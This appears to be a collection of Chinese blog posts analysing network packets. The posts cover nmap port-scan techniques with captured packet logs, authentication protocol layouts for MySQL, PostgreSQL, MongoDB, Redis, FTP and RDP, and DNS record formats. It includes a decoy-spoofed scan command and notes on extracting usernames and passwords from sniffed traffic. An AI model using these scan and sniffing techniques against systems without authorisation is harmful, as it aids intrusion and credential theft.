一、TCP/IP数据包基础知识 - 碳基体 - 碳基体
 
详细的应用层协议分析见后续系列





二、TCP/IP数据包分析应用-端口扫描

$
0
0

端口扫描是网络安全评估中资产识别的主要方法(资产识别及评估的三部曲,主机存活识别--主机服务识别(端口开放探测+指纹匹配)--漏洞识别)

端口扫描技术
1. tcp connect 扫描
发起nmap扫描

nmap -sT -P0 xxx.xxx.xxx.xxx


开放端口示例

python print_pcap.py --pcapfile=data/tcpconnect.pcap --assetip=xxx.xxx.xxx.xxx --assetport=80


[TCP] [1500226472.88 2017-07-16 17:34:32] 10.0.0.7:50335(98:01:a7:9e:dd:c1) ----->xxx.xxx.xxx.xxx:80(e0:46:9a:62:69:7c) SEQ=3955688181 ACK=0 FLAGS=['SYN'] WIN=65535 DATA= ttl=255 DATA_BINARY= LEN=0
[TCP] [1500226473.16 2017-07-16 17:34:33] xxx.xxx.xxx.xxx:80(e0:46:9a:62:69:7c) ----->10.0.0.7:50335(98:01:a7:9e:dd:c1) SEQ=2321344633 ACK=3955688182 FLAGS=['ACK', 'SYN'] WIN=14480 DATA= ttl=49 DATA_BINARY= LEN=0
[TCP] [1500226473.16 2017-07-16 17:34:33] 10.0.0.7:50335(98:01:a7:9e:dd:c1) ----->xxx.xxx.xxx.xxx:80(e0:46:9a:62:69:7c) SEQ=3955688182 ACK=2321344634 FLAGS=['ACK'] WIN=4120 DATA= ttl=255 DATA_BINARY= LEN=0
[TCP] [1500226473.16 2017-07-16 17:34:33] 10.0.0.7:50335(98:01:a7:9e:dd:c1) ----->xxx.xxx.xxx.xxx:80(e0:46:9a:62:69:7c) SEQ=3955688182 ACK=2321344634 FLAGS=['ACK', 'RST'] WIN=4120 DATA= ttl=255 DATA_BINARY= LEN=0

关闭端口示例

python print_pcap.py --pcapfile=data/pcap_private/portscan/tcpconnect.pcap --assetip=xxx.xxx.xxx.xxx --assetport=21

[TCP] [1500226472.89 2017-07-16 17:34:32] 10.0.0.7:50342(98:01:a7:9e:dd:c1) ----->xxx.xxx.xxx.xxx:21(e0:46:9a:62:69:7c) SEQ=1007191068 ACK=0 FLAGS=['SYN'] WIN=65535 DATA= ttl=255 DATA_BINARY= LEN=0
[TCP] [1500226473.17 2017-07-16 17:34:33] xxx.xxx.xxx.xxx:21(e0:46:9a:62:69:7c) ----->10.0.0.7:50342(98:01:a7:9e:dd:c1) SEQ=0 ACK=1007191069 FLAGS=['ACK', 'RST'] WIN=0 DATA= ttl=49 DATA_BINARY= LEN=0

原理:tcp connect扫描通过完成tcp三次握手来判断端口是否开放。若端口开放,服务端响应客户端ack+syn包;若端口关闭,服务端响应客户端ack+rst

2.tcp syn扫描
发起nmap扫描

sudo nmap -sS -P0 xxx.xxx.xxx.xxx


开放端口示例

python print_pcap.py --pcapfile=data/pcap_private/portscan/tcpsyn.pcap --assetip=xxx.xxx.xxx.xxx --assetport=80


[TCP] [1500227733.66 2017-07-16 17:55:33] 10.0.0.7:56684(98:01:a7:9e:dd:c1) ----->xxx.xxx.xxx.xxx:80(e0:46:9a:62:69:7c) SEQ=2674946894 ACK=0 FLAGS=['SYN'] WIN=1024 DATA= ttl=52 DATA_BINARY= LEN=0
[TCP] [1500227733.95 2017-07-16 17:55:33] xxx.xxx.xxx.xxx:80(e0:46:9a:62:69:7c) ----->10.0.0.7:56684(98:01:a7:9e:dd:c1) SEQ=355536423 ACK=2674946895 FLAGS=['ACK', 'SYN'] WIN=14600 DATA= ttl=49 DATA_BINARY= LEN=0
[TCP] [1500227733.95 2017-07-16 17:55:33] 10.0.0.7:56684(98:01:a7:9e:dd:c1) ----->xxx.xxx.xxx.xxx:80(e0:46:9a:62:69:7c) SEQ=2674946895 ACK=0 FLAGS=['RST'] WIN=0 DATA= ttl=64 DATA_BINARY= LEN=0

关闭端口示例

python print_pcap.py --pcapfile=data/pcap_private/portscan/tcpsyn.pcap --assetip=xxx.xxx.xxx.xxx --assetport=21


[TCP] [1500227732.97 2017-07-16 17:55:32] 10.0.0.7:56684(98:01:a7:9e:dd:c1) ----->xxx.xxx.xxx.xxx:21(e0:46:9a:62:69:7c) SEQ=2674946894 ACK=0 FLAGS=['SYN'] WIN=1024 DATA= ttl=48 DATA_BINARY= LEN=0
[TCP] [1500227733.64 2017-07-16 17:55:33] xxx.xxx.xxx.xxx:21(e0:46:9a:62:69:7c) ----->10.0.0.7:56684(98:01:a7:9e:dd:c1) SEQ=0 ACK=2674946895 FLAGS=['ACK', 'RST'] WIN=0 DATA= ttl=49 DATA_BINARY= LEN=0

原理:与tcp connect扫描的唯一区别是,当服务端响应客户端ack+syn包时,客户端发送rst包断开连接,因此也叫半开扫描。若端口开放,服务端响应客户端ack+syn包;若端口关闭,服务端响应客户端ack+rst
tcp syn扫描可以伪造扫描发起者的源ip与源端口,例如伪造扫描发起者的源ip为1.2.3.4,源端口为80

sudo nmap --source-port 80 -D 1.2.3.4 -sS -P0 xxx.xxx.xxx.xxx


3.tcp udp扫描
sudo nmap -sU -P0 209.141.37.81
开放端口示例

python print_pcap.py --pcapfile=data/pcap_private/portscan/udp.pcap --assetport=500


[UDP]   [1500285744.54  2017-07-17 10:02:24]    172.18.24.97:63816(98:01:a7:9e:dd:c1) ----->xxx.xxx.xxx.xxx:500(58:f3:9c:51:83:c7)        ttl=53  DATA_BINARY=00 11 22 33 44 55 66 77 00 00 00 00 00 00 00 00 01 10 02 00 00 00 00 00 00 00 00 c0 00 00 00 a4 00 00 00 01 00 00 00 01 00 00 00 98 01 01 00 04 03 00 00 24 01 01 00 00 80 01 00 05 80 02 00 02 80 03 00 01 80 04 00 02 80 0b 00 01 00 0c 00 04 00 00 00 01 03 00 00 24 02 01 00 00 80 01 00 05 80 02 00 01 80 03 00 01 80 04 00 02 80 0b 00 01 00 0c 00 04 00 00 00 01 03 00 00 24 03 01 00 00 80 01 00 01 80 02 00 02 80 03 00 01 80 04 00 02 80 0b 00 01 00 0c 00 04 00 00 00 01 00 00 00 24 04 01 00 00 80 01 00 01 80 02 00 01 80 03 00 01 80 04 00 02 80 0b 00 01 00 0c 00 04 00 00 00 01     LEN=192
[UDP]   [1500285744.7   2017-07-17 10:02:24]    xxx.xxx.xxx.xxx:500(58:f3:9c:51:83:c7) ----->172.18.24.97:63816(98:01:a7:9e:dd:c1)        ttl=43  DATA_BINARY=00 11 22 33 44 55 66 77 71 db bb 63 e8 d1 a9 86 01 10 02 00 00 00 00 00 00 00 00 70 0d 00 00 34 00 00 00 01 00 00 00 01 00 00 00 28 01 01 00 01 00 00 00 20 01 01 00 00 80 01 00 05 80 02 00 02 80 04 00 02 80 03 00 01 80 0b 00 01 80 0c 00 01 0d 00 00 0c 09 00 26 89 df d6 b7 12 00 00 00 14 af ca d7 13 68 a1 f1 c9 6b 86 96 fc 77 57 01 00     LEN=112

关闭端口示例

python print_pcap.py --pcapfile=data/pcap_private/portscan/udp.pcap --assetport=53

[UDP]   [1500286158.82  2017-07-17 10:09:18]    172.18.24.97:63816(98:01:a7:9e:dd:c1) ----->xxx.xxx.xxx.xxx:53(58:f3:9c:51:83:c7) ttl=49  DATA_BINARY=00 00 10 00 00 00 00 00 00 00 00 00 LEN=12

原理:客户端向服务端发起按照端口号构造的指定udp payload数据包,然后根据服务端是否有响应数据包来判断端口是否开放。

nmap在进行udp扫描的时候会从nmap-probes中读取udp payload数据包,可以看到与上面标红的 DATA_BINARY相同
二、TCP/IP数据包分析应用-端口扫描 - 碳基体 - 碳基体
 
二、TCP/IP数据包分析应用-端口扫描 - 碳基体 - 碳基体
 

三、TCP/IP协议分析-MySQL认证协议分析

$
0
0

登陆mysql数据库,抓取mysql从建立连接到断开连接的双向流量,如下图所示

python print_tcp_session.py



一次失败的MySQL登陆,账号为root
三、TCP/IP协议分析-MySQL认证协议分析 - 碳基体 - 碳基体
 
 一次成功的mysql登陆,账号为ids

三、TCP/IP协议分析-MySQL认证协议分析 - 碳基体 - 碳基体
 
由上图所示,
 MySQL采用的二进制协议,采用的小端字节序

MySQL报文结构由消息头消息体构成,而消息头又由消息体长度与序列号构成。
消息头为固定长度4个字节,消息头长度占3个字节,序列号占1个字节。


一次失败的认证过程为
服务端-> 客户端:Server Greeting,Packet Number 00
客户端-> 服务端: Login Request,Packet Number 01
服务端->客户端: Response Error,Packet Number02


一次成功的认证过程为
服务端-> 客户端:Server Greeting, Packet Number 00
客户端-> 服务端: Login Request,Packet Number 01
服务端->客户端: Response OK,Packet Number 02


客户端认证报文的消息体组成三、TCP/IP协议分析-MySQL认证协议分析 - 碳基体 - 碳基体
 (1) Server Greeting后,明文传输
客户端权能标志client capabilities 2个字节 

+ 客户端全能标志(扩展)extended client capabilities 2个字节
+ 最大消息长度max packet 4个字节
+ 字符编码charset  1个字节
+ 填充值 23个字节(全是00)
+ 用户名 username(不固定长度,以0x00结束)
+密码串长度(1个字节)
密码的加密串(不固定长度,由密码串长度决定) 
+ 数据库名称schema(不固定长度,以0x00结束) #由客户端权能标志CLIENT_CONNECT_WITH_DB决定是否返回
+其他可选
 (2) Server Greeting后,SSL传输
客户端权能标志2个字节 
+ 客户端全能标志(扩展)2个字节
+ 最大消息长度 4个字节
+ 字符编码 1个字节
+ 填充值 23个字节(全是00)
 
其中客户端与服务端握手后,后续是否切换到ssl传输,由客户端全能标志位决定
三、TCP/IP协议分析-MySQL认证协议分析 - 碳基体 - 碳基体
 
三、TCP/IP协议分析-MySQL认证协议分析 - 碳基体 - 碳基体
 
服务端响应报文的消息体组成
(1)成功响应
三、TCP/IP协议分析-MySQL认证协议分析 - 碳基体 - 碳基体
 
状态标识(1个字节) #00表示成功/FF表示失败
+ 受影响的行数 变长
+ 索引ID 变长
+ 服务器状态 2个字节
+ 告警计数 2个字节
+ 服务器消息 变长
(2)失败响应
三、TCP/IP协议分析-MySQL认证协议分析 - 碳基体 - 碳基体
 
状态标识  1个字节 #00表示成功/FF表示失败
+ 错误码  2个字节
+ # 1个字节 固定为 0x23
+ sql 状态 5个字节
+错误消息(不固定长度)

参考:

四、TCP/IP协议分析-PostgreSQL认证协议分析

$
0
0

postgresql 数据报文
 分为两种
第一种:
报文类型 1个字节
+ 报文长度 4个字节
+ 报文体 长度等于报文长度-4

第二种:
报文长度 4个字节
+ 报文体 长度等于报文长度-4
postgresql采用的大端字节序

postgresql认证过程
1.客户端->服务端: startup message

长度 4个字节 
+ 协议版本号 4个字节 
+名值对:发送user,database等,字符串以00结束
四、TCP/IP协议分析-PostgreSQL认证协议分析 - 碳基体 - 碳基体
 
 四、TCP/IP协议分析-PostgreSQL认证协议分析 - 碳基体 - 碳基体
 

2.服务端<-客户端: (可能没有这一步)Authentication request

52 1个字节  52 表示认证请求
+长度 4个字节 
+ 认证类型 05 表示MD5,02表示kerberosv5,03表示明文,06表示scm证书,07表示GSSSAPI,09表示SSPI,08表示GSSAPI或SSPI 4个字节
+ salt value
四、TCP/IP协议分析-PostgreSQL认证协议分析 - 碳基体 - 碳基体
 

3客户端->服务端: (可能没有这一步)Password message: 
70 1个字节 表示Password message
+长度 4个字节
+密码
四、TCP/IP协议分析-PostgreSQL认证协议分析 - 碳基体 - 碳基体
 

4.服务端->客户端:Authentication request
52 1个字节  52 表示认证请求
+长度 4个字节
+认证类型 4个字节  00 表示认证成功
四、TCP/IP协议分析-PostgreSQL认证协议分析 - 碳基体 - 碳基体
 








参考:


五、TCP/IP协议分析-MongoDB认证协议

$
0
0

MongoDB数据报文格式
MongoDB采用的小端字节序,由消息头消息体组成
消息头为固定长度,由
消息长度 4个字节 
+requestID 4个字节
+responseTo 4个字节
+opCode 4个字节
消息体长度为消息长度-消息头长度16



query请求的组成
opcode为d4 07 00 00 4个字节
+query flags   4个字节
+fullcollectionname 变长,以00结尾,database name与collection name用2e分割 例如admin.$cmd
+numbertoskiip 4个字节
+numbertoreturn 4个字节
+document 变长 ,由document长度 4个字节 + elements组成 变长

reply响应的组成
opcode 为01 00 00 00 4个字节
+reply flags  4个字节
+cursor id 8个字节
+starting from 4个字节
+number returned 4个字节
+document 变长 ,由document长度 4个字节 + elements组成 变长

document的的组成
document长度 4个字节 
+ elements组成 变长

element的组成
element type 1个字节
+element name 变长,以00结尾
+element length 4个字节 (对于定长element,例如int32,boolean,datetime,double没有该字段)
+element value 长度由element type决定,
例如int32为4个字节;double为8个字节;datetime为8个字节,boolean为1个字节;string为变长,以00结尾;binary为变长,大端字节序



mongodb的认证方式
(1)scram-sha-1
认证请求:
五、TCP/IP协议分析-MongoDB认证协议 - 碳基体 - 碳基体
 其中payload部分like n,,n=tanjiti,r=MjAyNjgwMDMwMDcy
可以payload从中提取用户名

 认证响应:
五、TCP/IP协议分析-MongoDB认证协议 - 碳基体 - 碳基体
 
(2)chanllenge and Response
认证请求
五、TCP/IP协议分析-MongoDB认证协议 - 碳基体 - 碳基体
可以从user提取用户名 
 
 认证响应
五、TCP/IP协议分析-MongoDB认证协议 - 碳基体 - 碳基体
 


参考:
预告:六、TCP/IP协议分析-Redis认证协议分析

六、TCP/IP协议分析-Redis认证协议分析

$
0
0

Redis的数据包为序列化后的文本协议RESP (REdis Serialization Protocol) ,human-readable(明文可读),由0d0a切分内容,相比postgresql、mysql、mongodb解析起来要简单快速的多,当然安全性也欠缺,嗅探成本低
“redis的安全设计是在"Redis运行在可信环境下", 在生产环节运行时不允许外界直接连接到Redis服务器上,而应该通过应用程序进行中转”


RESP的通信实例
a.客户端到服务端发送的数据
六、TCP/IP协议分析-Redis认证协议分析 - 碳基体 - 碳基体
 b. 服务端到客户端的响应数据
六、TCP/IP协议分析-Redis认证协议分析 - 碳基体 - 碳基体
 

由上面两幅图,可知全是明文传输,其中RESP中的数据类型由特殊的前缀标识符来区分

__RESP_DATA_TYPE = {
'+': 'Simple Strings', #例如+OK
'-': 'Errors', #例如 -ERR invalid password
':': 'Integers',#整型
'$': 'Bulk Strings', #字符串
'*': 'Arrays'#数组
}



redis认证过程
客户端->服务端发送 auth [password]命令
例如
auth apple对应的数据为
*2
$4
auth
$5
apple

auth dragon对应的数据为
*2
$4
auth
$6
dragon

服务端->客户端回应 认证结果
例如
认证失败对应的数据为
 -ERR invalid password

认证成功对应的数据为
 +OK


参考:
预告:七、TCP/IP协议分析-FTP认证协议

七、TCP/IP协议分析-FTP认证协议

$
0
0
ftp协议为明文可读协议,由0d0a切分内容,如下图所示

失败认证数据包

TCP/IP协议分析-FTP认证协议 - 碳基体 - 碳基体
 

成功认证数据包
TCP/IP协议分析-FTP认证协议 - 碳基体 - 碳基体
 
ftp认证过程
1.服务端->客户端 220响应
TCP/IP协议分析-FTP认证协议 - 碳基体 - 碳基体
 
2.客户端->服务端 USER请求
TCP/IP协议分析-FTP认证协议 - 碳基体 - 碳基体
 
3.服务端->客户端 331响应
TCP/IP协议分析-FTP认证协议 - 碳基体 - 碳基体
 
4.客户端->服务端 PASS请求
TCP/IP协议分析-FTP认证协议 - 碳基体 - 碳基体
 
5.服务端->客户端 530/230响应
TCP/IP协议分析-FTP认证协议 - 碳基体 - 碳基体
 
TCP/IP协议分析-FTP认证协议 - 碳基体 - 碳基体
 
客户端请求数据格式:请求命令+空格+请求参数+\r\n
服务端响应数据格式:响应码 + 空格 + 响应参数+\r\n

参考:

十、TCP/IP协议分析-RDP协议

$
0
0
windows上的远程桌面协议RDP remote desktop protocol比较复杂,默认端口为3389,它封装在TPKT协议中进行传输。

TPKT数据包组成:采用大端字节序 
version 长度为1个字节 : 00-只支持classic rdp; 01-支持classic rdp和ssl ;03-除上面两个之外,还支持credssp
+ reserved 长度为1个字节
+ length 长度为2个字节 
+ 数据部分  长度为length-4

其中数据部分可以解析为
COTP协议 X.224、
multipoint-communication-service T.125
generic-conference-control T.124
RDP协议

length 长度为1个字节
+PDU Type 长度为1个字节。
 0xe0表示CR Connect Request 连接请求
 0xd0表示CC Connect Confirm 连接确认
 0xf0表示DT Data
 0x80表示DR Disconnect Request
+ 数据部分(
= Destination Reference 长度为2个字节 (不一定有)
+ Source Reference 长度为2个字节 (不一定有)
+ Class and options 长度为1个字节 (不一定有)
+其他) 长度为length-1

RDP网络层次:
1.网络连接层
 1)客户端->服务端:发送连接请求Connect Request,其中Cookie指定客户端用户名或客户端IP与port

用户名cookie的格式为:Cookie:[space]mstshash=[ANSI string][0x0d0a]
#e.g. "mstshash=apple"

tcpdump -r rdp_single.pcap -X dst port 3389 and tcp[37] == 0xe0

十、TCP/IP协议分析-RDP协议 - 碳基体 - 碳基体
 
IP cookie的格式为:Cookie:[space]msts=[ip address].[port].[reserved][0x0d0a] 
#e.g. "msts=420247818.15629.0000";
420247818表示IP
转化成点分制: hex(420247818)=0x190c790a; int('0a',base=16)=10,int('79',base=16)=121,
int('0c',base=16)=12,int('19',base=16)=25; ip为10.121.12.25
15629表示port
转化为十进制: hex(15629)=0x3d0d; int('0d3d',base=16)=3389,端口为3389

2)服务端->客户端:发送连接确认Connect Confirm

2. ISO数据层
3. 虚拟通道层
4.加密解密层
5.功能数据层


参考:
预告:十一、TCP/IP数据包分析应用-TCP会话重组

如何在mapreduce中处理protocolbuf序列化格式的文件

$
0
0

一、生成proto协议描述文件对应的java文件
对于一些采取protocolbuf序列化存储的日志文件,在做数据分析之前,需要日志解析(反序列化),以java语言为例

公司主流使用protobuf 2.4.1版本,如果采用默认安装版本都会高于此版本,因此需要降级,以mac为例,可以采用以下方式降级

brew tap homebrew/versions

brew install protobuf241
brew link --force --overwrite protobuf241
安装成功后,开始将proto文件转换为java文件,为了规范化编程,需要保证proto文件有以下描述信息

vim test.proto

增加

package tanjiti.web.access;

option java_package = "tanjiti.web.access";
option java_outer_classname = "AccessLogProtos";
option java_generic_services = true;
然后运行以下命令

protoc --proto_path=src --java_out=build/gen  src/test.proto

就会在build/gen目录下生成对应的java包

build/gen/

└── tanjiti
    └── web
        └── access
            └── AccessLogProtos.java

二、MapReduce中调用解析方法
设置输入文件处理格式与将BytesWritable类型转化为byte[] 类型

job.setInputFormat(SequenceFileAsBinaryInputFormat.class); // 将MR输入文件格式设置为二进制序列文件格式

map( Object key, BytesWritable value... //设置map key 为object, value 为BytesWritable 类型

value.setCapacity(value.getSize());// 将BytesWritable类型转化为byte[] 类型

byte[] line = value.getBytes();


接下来,交给自动生成的AccessLogProtos.java文件对应的parseForm(byte [] line)方法,来提取对应字段

十二、TCP/IP协议分析-DNS协议

$
0
0

一、DNS报文结构
DNS报文采用大端字节序,由DNS报头DNS正文组成
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
DNS报头定长12个字节,由
 transaction ID 2个字节 
 + flags 2个字节
+questions 2个字节 查询段中的条目数
+answers RRs 2个字节 应答段中的资源记录数
+authority RRs 2个字节 授权段中的资源记录数
+additional RRs 2个字节  附加段中的资源记录数
组成。

其中flags对应的术语:
QR query/response 1位 0表示query 1表示response
OPCODE 4位   值为0表示标准查询,值为1表示逆向查询,值为2表示查询服务器状态,值为3保留,值为4表示通知,值为5表示更新报文,值6~15的留为新增操作用
AA 是否要求授权,在响应中有效
TC 是否截断
RD 是否期望递归
RA 是否递归可用
Z 保留位
RCODE 响应码4位:值0表示没有错误;1表示格式错误;2表示服务器故障;3表示名字错误,仅对来自权威服务器的响应有意义,表示查询中引用的域名不存在;4表示没有实现;5表示拒绝;6-15保留将来使用
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 bin(int('8180',base=16))‘0b1000000110000000'

十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
  


 DNS正文包括
Question查询段、Answer应答段、Authority授权段、Additional附加段。
例如:对smtp.aol.com进行域名查询
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
 
Question查询段包括
qname 变长,以\0x00结尾
+ qtype 2个字节
+ qclass 2个字节 
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
qtype常见的类型
0x0010 (16)  表示TXT,e.x. cujo.movie.edu. IN TXT “Location: machine room dog house"
0x000f (15) 表示MX,  e.x. ora.com IN MX 0 ora.ora.com.
                                                        IN MX 10 ruby.ora.com
                                                        IN MX 10 opal.ora.com
0x001d (29)表示LOC location information,
0x000c (12) 表示PTR domain name pointer,e.x. 1.249.249.192.in-addr.arpa. IN PTR wormhole.movie.edu.
0x000d (13)表示 HINFO host information, e.x. grizzly.movie.edu. IN HINFO VAX-11/780 UNIX
0x0001  (1) 表示A (host address) e.x. localhost.movie.edu. IN A 127.0.0.1
0x001c  (28)表示AAAA (IPv6 address)
0x0005 (5) 表示CNAME ,e.x. wh.movie.edu. IN CNAME wormhole.movie.edu.
0x00ff (255) 表示 *(A request for all records the server/cache has available),
0x002 (2) 表示NS(authoritative name server),e.x. movie.edu. IN NS terminator.movie.edu
0x0021 (33)表示SRV(server selection)) 
0x0006 (6) 表示SOA 


 Answer应答段、Authority授权段、Additional附加段包括
name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量
+ type 2个字节 
+ class 2个字节 
+ time to live 4个字节 
+ data length 2个字节 ,前2位必须是00,后面6位用于计算长度
+ data 变长
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
DNS数据格式
1. 2个字节整型
2. 4个字节整型
3. 域名
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
4.字符串
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 

二、示例
1. txt类型 可任意填写,可为空。一般做一些验证记录时会使用此项,如:做SPF(反垃圾邮件)记录
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量
以0xc00c  为例:
bin(int('c00c',base=16)) ---> '0b1100000000001100'
int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12
+ type 2个字节  0x0010 10表示TXT类型
+ class 2个字节  0x0001
+ time to live 4个字节 0x0000010e
+ data length 2个字节  0x0010
+ data 变长 = (txt length 1个字节 0x0f + txt content组成)
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
2. MX类型 建立电子邮箱服务,将指向邮件服务器地址,需要设置MX记录。建立邮箱时,一般会根据邮箱服务商提供的MX记录填写此记录
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体

name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量
以0xc00c  为例:
bin(int('c00c',base=16)) ---> '0b1100000000001100'
int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12
+ type 2个字节  0x000f 15表示MX类型
+ class 2个字节  0x0001
+ time to live 4个字节 0x00000228
+ data length 2个字节  0x000a
+ data 变长 = (preference优先级 2个字节 0x0028 
 + mail exchange组成 0x 05 73 6d 74 70 34 c0 0c --> smtp4.google.com
 十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
3. A类型
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量
以0xc02a  为例:
bin(int('c02a',base=16)) ---> '0b1100000000101010'
int('00000000101010',base=2) --->42   ,头2位都是11,表示域名采用消息压缩,偏移量为42
+ type 2个字节  0x0001 1表示A类型
+ class 2个字节  0x0001
+ time to live 4个字节 0x00000258
+ data length 2个字节  0x0004
+ data 变长 = (ip地址 0x d8ef251a
int('d8ef251a',base=16) ----> 3639551258
socket.inet_ntoa(struct.pack('!L',3639551258)) ---> 216.239.37.26
 )
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
4. PTR类型 PTR记录是A记录的逆向记录,又称做IP反查记录或指针记录,负责将IP反向解析为域名
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量
以0xc00c  为例:
bin(int('c00c',base=16)) ---> '0b1100000000001100'
int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12
+ type 2个字节  0x000c 12表示PTR类型
+ class 2个字节  0x0001
+ time to live 4个字节 0x00015125
+ data length 2个字节  0x0020
+ data 变长 
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
5. AAAA类型  将主机名(或域名)指向一个IPv6地址(例如:ff03:0:0:0:0:0:0:c1),需要添加AAAA记录
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量
以0xc00c  为例:
bin(int('c00c',base=16)) ---> '0b1100000000001100'
int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12
+ type 2个字节  0x001c 28表示PTR类型
+ class 2个字节  0x0001
+ time to live 4个字节 0x00015180
+ data length 2个字节  0x0010
+ data 变长 

6. CNAME类型 如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加CNAME记录。这个域名一般是主机服务商提供的一个域名
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
  name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量
以0xc00c  为例:
bin(int('c00c',base=16)) ---> '0b1100000000001100'
int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12
+ type 2个字节  0x0005 5表示CNAME类型
+ class 2个字节  0x0001
+ time to live 4个字节 0x00000279
+ data length 2个字节  0x0008
+ data 变长 ( 0x 03 77 77 77 01 6c c0 10 --- www.l.google.com)
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
7.NS类型  域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置NS记录
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
  name 2个字节 域名重复出现的时候采用消息压缩。头2位都是11,用于与标识区区别,后14位表示偏移量
以0xc00c  为例:
bin(int('c00c',base=16)) ---> '0b1100000000001100'
int('00000000001100',base=2) --->12   ,头2位都是11,表示域名采用消息压缩,偏移量为12
+ type 2个字节  0x0002 2表示NS类型
+ class 2个字节  0x0001
+ time to live 4个字节 0x0000000e
+ data length 2个字节  0x000e
+ data 变长 ( 0x 06 6e 73 2d 65 78 74 04 6e 72 74 31 c0 0c --- ns-ext.nrt1.isc.org)
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
8.SOA 类型 SOA叫做起始授权机构记录,NS用于标识多台域名解析服务器,SOA记录用于在众多NS记录中那一台是主服务器
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
  name 0x00
+ type 2个字节  0x0006 6表示SOA类型
+ class 2个字节  0x0001
+ time to live 4个字节 0x00000005
+ data length 2个字节  0x0040
+ data 变长 (Primary Name Server 
 + Responsible authority's mailbox
+ serial number 4个字节
+ refresh interval 4个字节
+ retry Interval 4个字节
+ expire limit 4个字节
+ minimum ttl 4个字节)
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
9. SRV 类型添加服务记录服务器服务记录时会添加此项,SRV记录了哪台计算机提供了哪个服务。格式为:服务的名字.协议的类型(例如:_example-server._tcp)
十二、TCP/IP协议分析-DNS协议 - 碳基体 - 碳基体
 
  name 0xc00c
+ type 2个字节  0x0021 33表示SRV类型
+ class 2个字节  0x0001
+ time to live 4个字节 0x00000258
+ data length 2个字节  0x001a
+ data 变长 (Priority 2个字节
 + weight 2个字节
+ Port 2个字节
+ target)